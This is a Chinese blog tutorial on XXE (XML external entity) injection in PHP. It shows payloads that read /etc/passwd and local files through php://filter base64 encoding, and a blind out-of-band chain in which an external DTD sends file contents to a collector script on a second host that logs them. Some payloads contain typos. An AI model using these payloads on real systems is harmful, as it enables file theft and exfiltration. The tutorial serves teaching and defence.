当前位置:   article > 正文

Web安全:XEE 实体注入_web xee

web xee

该笔记仅用于信息防御技术教学,请勿用于其他用途

目录

一、什么是XXE?

二、XXE原理:


一、什么是XXE?

   XXE=外部实体注入攻击

建议首先详细阅读资料,没有什么问题是读一遍资料解决不了的,如果有,那么就多读几遍,直到烂熟于心:

http://www.w3school.com.cn/dtd/dtd_entities.asp

典型攻击如下:

  1. <?xml version="1.0" encoding="ISO-8858-1"?>
  2. <?DOCTYPE foo[
  3. <!ELEMENT foo ANY>
  4. <!ENTITY xxe SYSTEM "file:///etc//passwd">]>
  5. <foo>$xxe;</foo>

二、XXE原理:

php中存在一个函数:simplexml_load_string() 这个函数是将xml转化为对象

  1. <?php
  2. $test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///Users/mac/Desktop/chopper.txt">]><scan>&test;</scan>';
  3. $obj =simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
  4. print_r($obj);
  5. ?>

使用php伪协议读取文件:(文件内容会自动被base64加密,这是为了传输方便,加密的特点是结尾通常是=或者==)注意 base64不仅可以加密字符串还可以加密图片

  1. <?php
  2. $test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=Users/mac/Desktop/chopper.txt">]><scan>&test;</scan>';
  3. $obj =simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
  4. print_r($obj);
  5. ?>

但是很多时候,后端语言解析了XML后其实并不会给你输出,这样我们也可以进行XXE攻击。

我们先读取我们想要的文件例如:file:///Users/mac/Desktop/chopper.txt,为了方便传输,我们使用php伪协议将文件内容base64加密读取。

然后我们再去调用一个外部的xml,比如1.xml:(<!ENTITY %remote SYSTEM "http://127.0.0.1:8888/1.xml),内容为:

  1. <!ENTITY %all "<!ENTITY &#x25;send SYSTEM 'http://127.0.0.1:8888/2,php?id=%file;'>">
  2. %all;

这个1.xml会被加载到原本的xml,然后我们最后来调用,然后你读取出来的文件内容会用get传参的方式传递给2.php,然后2.php会记录下来存储到3.txt

2.php内容如下:

  1. <?php
  2. file_put_contents("3.txt",$_GET["id"],FILE_APPEND);
  3. ?>

整体代码如下:

  1. <?php
  2. $test = <<<EOF
  3. <?xml version = "1.0"?>
  4. <!DOCTYPE ANY[
  5. <!ENTITY %file SYSTEM "php://filter/read = convert.base64-encode/resource = Users/mac/Desktop/chopper.txt">
  6. <!ENTITY %remote SYSTEM "http://127.0.0.1:8888/1.xml">
  7. %remote;
  8. %send;
  9. ]>
  10. EOF
  11. $obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
  12. ?>

这个代码等价于:

  1. <?php
  2. $test = <<<EOF
  3. <?xml version = "1.0"?>
  4. <!DOCTYPE ANY[
  5. <!ENTITY %file SYSTEM "php://filter/read = convert.base64-encode/resource = Users/mac/Desktop/chopper.txt">
  6. <!ENTITY %all "<!ENTITY &#x25;send SYSTEM 'http://127.0.0.1:8888/2.php?id=%file;'>">
  7. %all;
  8. %send;
  9. ]>
  10. EOF
  11. $obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
  12. ?>

进一步等价于:

  1. <?php
  2. $test = <<<EOF
  3. <?xml version = "1.0"?>
  4. <!DOCTYPE ANY[
  5. <!ENTITY %file SYSTEM "php://filter/read = convert.base64-encode/resource = Users/mac/Desktop/chopper.txt">
  6. <!ENTITY %send SYSTEM 'http://127.0.0.1:8888/2.php?id=%file;'>
  7. %send;
  8. ]>
  9. EOF
  10. $obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
  11. ?>

这样看,是不是简单多了呢?

注:<<<EOF 与EOF之间的内容全部被认为是字符串

&#x25; 是 %的转义实体。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家自动化/article/detail/590069
推荐阅读
相关标签
  

闽ICP备14008679号